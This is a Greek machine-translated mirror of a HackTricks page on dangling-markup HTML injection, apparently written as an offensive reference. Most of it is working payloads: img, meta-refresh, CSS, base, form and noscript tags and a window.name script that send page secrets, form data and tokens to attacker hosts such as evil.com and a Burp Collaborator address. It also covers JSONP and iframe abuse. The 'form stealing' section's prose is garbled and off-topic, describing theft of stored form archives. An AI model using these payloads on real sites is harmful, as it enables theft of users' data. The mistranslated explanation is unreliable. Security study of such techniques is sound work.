mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
307 lines
23 KiB
Markdown
307 lines
23 KiB
Markdown
# Dangling Markup - HTML scriptless injection
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||
|
||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||
|
||
</details>
|
||
|
||
## Σύνοψη
|
||
|
||
Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να εξάγετε πληροφορίες από έναν χρήστη όταν βρεθεί μια **εισαγωγή HTML**. Αυτό είναι πολύ χρήσιμο εάν **δεν βρείτε κανέναν τρόπο να εκμεταλλευτείτε ένα** [**XSS** ](../xss-cross-site-scripting/)αλλά μπορείτε να **εισάγετε ορισμένες ετικέτες HTML**.\
|
||
Είναι επίσης χρήσιμο εάν κάποιο **μυστικό αποθηκεύεται σε καθαρό κείμενο** στο HTML και θέλετε να το **εξαγάγετε** από τον πελάτη, ή εάν θέλετε να παραπλανήσετε μια εκτέλεση σεναρίου.
|
||
|
||
Πολλές τεχνικές που σχολιάζονται εδώ μπορούν να χρησιμοποιηθούν για να παρακάμψουν ορισμένες [**Πολιτικές Ασφαλείας Περιεχομένου**](../content-security-policy-csp-bypass/) εξαγάγοντας πληροφορίες με αναπάντεχους τρόπους (ετικέτες html, CSS, http-meta tags, φόρμες, base...).
|
||
|
||
## Κύριες Εφαρμογές
|
||
|
||
### Κλοπή μυστικών κειμένου σε καθαρή μορφή
|
||
|
||
Εάν εισάγετε `<img src='http://evil.com/log.cgi?` όταν φορτώνεται η σελίδα, ο θύμα θα σας στείλει όλο τον κώδικα μεταξύ της εισαγόμενης ετικέτας `img` και της επόμενης εισαγωγικής μέσα στον κώδικα. Εάν ένα μυστικό βρίσκεται κάπου σε αυτό το κομμάτι, θα το κλέψετε (μπορείτε να κάνετε το ίδιο πράγμα χρησιμοποιώντας διπλά εισαγωγικά, δείτε ποιο μπορεί να είναι πιο ενδιαφέρον να χρησιμοποιήσετε).
|
||
|
||
Εάν η ετικέτα `img` απαγορεύεται (λόγω CSP για παράδειγμα) μπορείτε επίσης να χρησιμοποιήσετε `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`.
|
||
|
||
```html
|
||
<img src='http://attacker.com/log.php?HTML=
|
||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
||
```
|
||
|
||
Σημείωση ότι **ο Chrome αποκλείει τις HTTP διευθύνσεις URL** με "<" ή "\n" μέσα του, οπότε μπορείτε να δοκιμάσετε άλλα πρωτόκολλα όπως το "ftp".
|
||
|
||
Μπορείτε επίσης να καταχραστείτε το CSS `@import` (θα στείλει όλο τον κώδικα μέχρι να βρει ένα ";")
|
||
|
||
```html
|
||
<style>@import//hackvertor.co.uk? <--- Injected
|
||
<b>steal me!</b>;
|
||
```
|
||
|
||
Μπορείτε επίσης να χρησιμοποιήσετε **`<table`**:
|
||
|
||
```html
|
||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||
```
|
||
|
||
Μπορείτε επίσης να εισάγετε έναν ετικέτα `<base`. Όλες οι πληροφορίες θα αποσταλούν μέχρι να κλείσει η παράθεση, αλλά απαιτείται κάποια αλληλεπίδραση από τον χρήστη (ο χρήστης πρέπει να κάνει κλικ σε κάποιο σύνδεσμο, επειδή η ετικέτα base θα έχει αλλάξει τον τομέα που δείχνει ο σύνδεσμος):
|
||
|
||
```html
|
||
<base target=' <--- Injected
|
||
steal me'<b>test</b>
|
||
```
|
||
|
||
### Κλοπή φορμών
|
||
|
||
Η κλοπή φορμών είναι μια τεχνική που χρησιμοποιείται για να αποκτηθούν πληροφορίες από φόρμες σε ιστοσελίδες. Αυτή η τεχνική εκμεταλλεύεται το γεγονός ότι οι φόρμες συχνά αποθηκεύουν πληροφορίες που έχουν εισαχθεί από τους χρήστες, όπως ονόματα χρηστών, διευθύνσεις email και άλλα προσωπικά δεδομένα.
|
||
|
||
Για να πραγματοποιηθεί η κλοπή φορμών, ο επιτιθέμενος εκμεταλλεύεται το γεγονός ότι οι φόρμες συχνά αποθηκεύονται σε αρχεία ή βάσεις δεδομένων. Αν οι αρχειοθετημένες φόρμες δεν προστατεύονται κατάλληλα, ο επιτιθέμενος μπορεί να αποκτήσει πρόσβαση σε αυτές και να αντλήσει τις πληροφορίες που περιέχουν.
|
||
|
||
Για να προστατευθείτε από την κλοπή φορμών, είναι σημαντικό να λαμβάνετε τα ακόλουθα μέτρα ασφαλείας:
|
||
|
||
* Να εφαρμόζετε κατάλληλα μέτρα ασφαλείας για την προστασία των αρχειοθετημένων φορμών.
|
||
* Να χρησιμοποιείτε ισχυρά συστήματα πιστοποίησης και αυθεντικοποίησης για την πρόσβαση στις αρχειοθετημένες φόρμες.
|
||
* Να ενημερώνετε τακτικά το λογισμικό που χρησιμοποιείτε για την αποθήκευση των φορμών, προκειμένου να αντιμετωπίζονται τυχόν ευπάθειες ασφαλείας.
|
||
|
||
Ακολουθώντας αυτά τα μέτρα ασφαλείας, μπορείτε να μειώσετε τον κίνδυνο κλοπής φορμών και να προστατεύσετε τις πληροφορίες των χρηστών σας.
|
||
|
||
```html
|
||
<base href='http://evil.com/'>
|
||
```
|
||
|
||
Στη συνέχεια, οι φόρμες που αποστέλλουν δεδομένα στη διαδρομή (όπως `<form action='update_profile.php'>`) θα αποστέλλουν τα δεδομένα στο κακόβουλο τομέα.
|
||
|
||
### Κλοπή φορμών 2
|
||
|
||
Ορίστε έναν κεφαλίδα φόρμας: `<form action='http://evil.com/log_steal'>` αυτό θα αντικαταστήσει τον επόμενο κεφαλίδα φόρμας και όλα τα δεδομένα από τη φόρμα θα αποσταλούν στον επιτιθέμενο.
|
||
|
||
### Κλοπή φορμών 3
|
||
|
||
Το κουμπί μπορεί να αλλάξει το URL όπου θα αποσταλούν οι πληροφορίες της φόρμας με το χαρακτηριστικό "formaction":
|
||
|
||
```html
|
||
<button name=xss type=submit formaction='https://google.com'>I get consumed!
|
||
```
|
||
|
||
Ένας επιτιθέμενος μπορεί να χρησιμοποιήσει αυτό για να κλέψει τις πληροφορίες.
|
||
|
||
### Κλοπή μυστικών κειμένου 2
|
||
|
||
Χρησιμοποιώντας την προηγούμενη τεχνική που αναφέρθηκε για να κλέψετε φόρμες (εισαγωγή νέου κεφαλίδας φόρμας), μπορείτε στη συνέχεια να εισάγετε ένα νέο πεδίο εισαγωγής:
|
||
|
||
```html
|
||
<input type='hidden' name='review_body' value="
|
||
```
|
||
|
||
και αυτό το πεδίο εισόδου θα περιέχει όλο το περιεχόμενο μεταξύ των διπλών εισαγωγικών και των επόμενων διπλών εισαγωγικών στο HTML. Αυτή η επίθεση συνδυάζει το "_**Κλέψιμο μυστικών κειμένου σε καθαρή μορφή**_" με το "_**Κλέψιμο φορμών2**_".
|
||
|
||
Μπορείτε να κάνετε το ίδιο πράγμα εισάγοντας ένα φόρμα και μια ετικέτα `<option>`. Όλα τα δεδομένα μέχρι να βρεθεί μια κλειστή `</option>` θα αποσταλούν:
|
||
|
||
```html
|
||
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
||
```
|
||
|
||
### Έγχυση παραμέτρου φόρμας
|
||
|
||
Μπορείτε να αλλάξετε τη διαδρομή μιας φόρμας και να εισάγετε νέες τιμές, έτσι ώστε να εκτελεστεί μια αναπάντεχη ενέργεια:
|
||
|
||
```html
|
||
<form action='/change_settings.php'>
|
||
<input type='hidden' name='invite_user'
|
||
value='fredmbogo'> ← Injected lines
|
||
|
||
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
|
||
...
|
||
<input type="text" name="invite_user" value=""> ← Subverted field
|
||
...
|
||
<input type="hidden" name="xsrf_token" value="12345">
|
||
...
|
||
</form>
|
||
```
|
||
|
||
### Κλοπή μυστικών κειμένου μέσω του noscript
|
||
|
||
Το `<noscript></noscript>` είναι ένα tag του οποίου το περιεχόμενο θα ερμηνευθεί αν ο περιηγητής δεν υποστηρίζει javascript (μπορείτε να ενεργοποιήσετε/απενεργοποιήσετε το Javascript στο Chrome στη διεύθυνση [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
||
|
||
Ένας τρόπος να εξαγάγετε το περιεχόμενο της ιστοσελίδας από το σημείο της ενέργειας μέχρι το τέλος σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο θα είναι να εισάγετε το εξής:
|
||
|
||
```html
|
||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||
```
|
||
|
||
### Παράκαμψη του CSP με χρήση αλληλεπίδρασης χρήστη
|
||
|
||
Από αυτήν την [έρευνα της portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) μπορείτε να μάθετε ότι ακόμα και από τα πιο περιορισμένα περιβάλλοντα CSP μπορείτε ακόμα να **διαρρεύσετε δεδομένα** με κάποια **αλληλεπίδραση χρήστη**. Σε αυτήν την περίπτωση θα χρησιμοποιήσουμε το payload:
|
||
|
||
```html
|
||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||
<base target='
|
||
```
|
||
|
||
Σημειώστε ότι θα ζητήσετε από τον **θύμα** να **κάνει κλικ σε ένα σύνδεσμο** που θα τον **ανακατευθύνει** σε ένα **payload** που ελέγχετε εσείς. Επίσης, σημειώστε ότι το **`target`** attribute μέσα στην ετικέτα **`base`** θα περιέχει **HTML περιεχόμενο** μέχρι το επόμενο μονό εισαγωγικό.\
|
||
Αυτό θα κάνει την **τιμή** του **`window.name`** όταν γίνει κλικ στον σύνδεσμο να είναι όλο αυτό το **HTML περιεχόμενο**. Επομένως, καθώς εσείς **έχετε έλεγχο της σελίδας** όπου ο θύμα έχει πρόσβαση κάνοντας κλικ στον σύνδεσμο, μπορείτε να έχετε πρόσβαση σε αυτό το **`window.name`** και να **διαρρεύσετε** αυτά τα δεδομένα:
|
||
|
||
```html
|
||
<script>
|
||
if(window.name) {
|
||
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
||
</script>
|
||
```
|
||
|
||
### Παραπλανητική ροή εντολών 1 - Επίθεση με χρήση ονομάτων χώρου HTML
|
||
|
||
Εισάγετε ένα νέο ετικέτα με ένα αναγνωριστικό (id) μέσα στο HTML που θα αντικαταστήσει την επόμενη και με μια τιμή που θα επηρεάσει τη ροή ενός script. Σε αυτό το παράδειγμα, επιλέγετε με ποιον θα κοινοποιηθούν οι πληροφορίες:
|
||
|
||
```html
|
||
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
|
||
...
|
||
Share this status update with: ← Legitimate optional element of a dialog
|
||
<input id='share_with' value=''>
|
||
|
||
...
|
||
|
||
function submit_status_update() {
|
||
...
|
||
request.share_with = document.getElementById('share_with').value;
|
||
...
|
||
}
|
||
```
|
||
|
||
### Παραπλανητική ροή εκτέλεσης 2 - Επίθεση στο χώρο ονομάτων του script
|
||
|
||
Δημιουργήστε μεταβλητές μέσα στον χώρο ονομάτων του javascript εισάγοντας ετικέτες HTML. Έπειτα, αυτή η μεταβλητή θα επηρεάσει τη ροή της εφαρμογής:
|
||
|
||
```html
|
||
<img id='is_public'> ← Injected markup
|
||
|
||
...
|
||
|
||
// Legitimate application code follows
|
||
|
||
function retrieve_acls() {
|
||
...
|
||
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
|
||
is_public = true;
|
||
else
|
||
is_public = false;
|
||
}
|
||
|
||
function submit_new_acls() {
|
||
...
|
||
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
|
||
...
|
||
}
|
||
```
|
||
|
||
### Κατάχρηση του JSONP
|
||
|
||
Εάν βρείτε μια διεπαφή JSONP, μπορείτε να καλέσετε μια αυθαίρετη συνάρτηση με αυθαίρετα δεδομένα:
|
||
|
||
```html
|
||
<script src='/editor/sharing.js'>: ← Legitimate script
|
||
function set_sharing(public) {
|
||
if (public) request.access_mode = AM_PUBLIC;
|
||
else request.access_mode = AM_PRIVATE;
|
||
...
|
||
}
|
||
|
||
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
|
||
set_sharing({ ... })
|
||
```
|
||
|
||
Ή μπορείτε ακόμα να δοκιμάσετε να εκτελέσετε κάποιο JavaScript:
|
||
|
||
```html
|
||
<script src='/search?q=a&call=alert(1)'></script>
|
||
```
|
||
|
||
### Κατάχρηση Iframe
|
||
|
||
Ένα παιδικό έγγραφο έχει τη δυνατότητα να προβάλλει και να τροποποιεί την ιδιότητα `location` του γονικού του, ακόμα και σε περιπτώσεις διασυνοριακής πρόσβασης. Αυτό επιτρέπει την ενσωμάτωση ενός σεναρίου μέσα σε ένα **iframe** που μπορεί να ανακατευθύνει τον πελάτη σε μια αυθαίρετη σελίδα:
|
||
|
||
```html
|
||
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
|
||
```
|
||
|
||
Αυτό μπορεί να αντιμετωπιστεί με κάτι όπως: `sandbox=' allow-scripts allow-top-navigation'`
|
||
|
||
Ένα iframe μπορεί επίσης να καταχραστεί για να διαρρεύσει ευαίσθητες πληροφορίες από μια διαφορετική σελίδα **χρησιμοποιώντας το χαρακτηριστικό name του iframe**. Αυτό συμβαίνει επειδή μπορείτε να δημιουργήσετε ένα iframe που εμφανίζει τον εαυτό του χρησιμοποιώντας την HTML ενσωμάτωση που καθιστά τις **ευαίσθητες πληροφορίες ορατές μέσα στο χαρακτηριστικό name του iframe** και στη συνέχεια να έχετε πρόσβαση σε αυτό το όνομα από το αρχικό iframe και να το διαρρεύσετε.
|
||
|
||
```html
|
||
<script>
|
||
function cspBypass(win) {
|
||
win[0].location = 'about:blank';
|
||
setTimeout(()=>alert(win[0].name), 500);
|
||
}
|
||
</script>
|
||
|
||
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
|
||
```
|
||
|
||
Για περισσότερες πληροφορίες δείτε [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
||
|
||
### Κατάχρηση της ετικέτας \<meta
|
||
|
||
Μπορείτε να χρησιμοποιήσετε την **`meta http-equiv`** για να εκτελέσετε **πολλές ενέργειες** όπως ορισμός ενός Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` ή ανακατεύθυνση (σε 5s σε αυτήν την περίπτωση): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||
|
||
Αυτό μπορεί να **αποφευχθεί** με ένα **CSP** που αφορά το **http-equiv** (`Content-Security-Policy: default-src 'self';`, ή `Content-Security-Policy: http-equiv 'self';`)
|
||
|
||
### Νέα ετικέτα \<portal HTML
|
||
|
||
Μπορείτε να βρείτε μια πολύ **ενδιαφέρουσα έρευνα** για ευπάθειες που μπορούν να εκμεταλλευτούν την ετικέτα \<portal [εδώ](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||
Αυτή τη στιγμή που γράφονται αυτές οι πληροφορίες, πρέπει να ενεργοποιήσετε την ετικέτα portal στο Chrome στη διεύθυνση `chrome://flags/#enable-portals` αλλιώς δεν θα λειτουργήσει.
|
||
|
||
```html
|
||
<portal src='https://attacker-server?
|
||
```
|
||
|
||
### Διαρροές HTML
|
||
|
||
Όχι όλοι οι τρόποι για να διαρρεύσετε συνδεσιμότητα στο HTML θα είναι χρήσιμοι για το Dangling Markup, αλλά μερικές φορές μπορεί να βοηθήσουν. Ελέγξτε τους εδώ: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||
|
||
## SS-Leaks
|
||
|
||
Αυτό είναι ένα **μείγμα** ανάμεσα στο **dangling markup και XS-Leaks**. Από τη μία πλευρά, η ευπάθεια επιτρέπει την **εισαγωγή HTML** (αλλά όχι JS) σε μια σελίδα της **ίδιας προέλευσης** με αυτήν που θα επιτεθούμε. Από την άλλη πλευρά, δεν θα επιτεθούμε απευθείας στη σελίδα όπου μπορούμε να εισάγουμε HTML, αλλά σε **μια άλλη σελίδα**.
|
||
|
||
{% content-ref url="ss-leaks.md" %}
|
||
[ss-leaks.md](ss-leaks.md)
|
||
{% endcontent-ref %}
|
||
|
||
## XS-Search/XS-Leaks
|
||
|
||
Το XS-Search είναι προσανατολισμένο στη **διαρροή πληροφοριών διασυνοριακά** καταχρώντας επιθέσεις **πλευρικού καναλιού**. Επομένως, είναι μια διαφορετική τεχνική από το Dangling Markup, ωστόσο, μερικές από τις τεχνικές καταχρώνται την εισαγωγή ετικετών HTML (με και χωρίς εκτέλεση JS), όπως η [**Ενσωμάτωση CSS**](../xs-search/#css-injection) ή η [**Καθυστερημένη Φόρτωση Εικόνων**](../xs-search/#image-lazy-loading)**.**
|
||
|
||
{% content-ref url="../xs-search/" %}
|
||
[xs-search](../xs-search/)
|
||
{% endcontent-ref %}
|
||
|
||
## Λίστα Ανίχνευσης Brute-Force
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
|
||
|
||
## Αναφορές
|
||
|
||
* [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
|
||
* [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
|
||
* [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
|
||
* [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||
|
||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||
|
||
</details>
|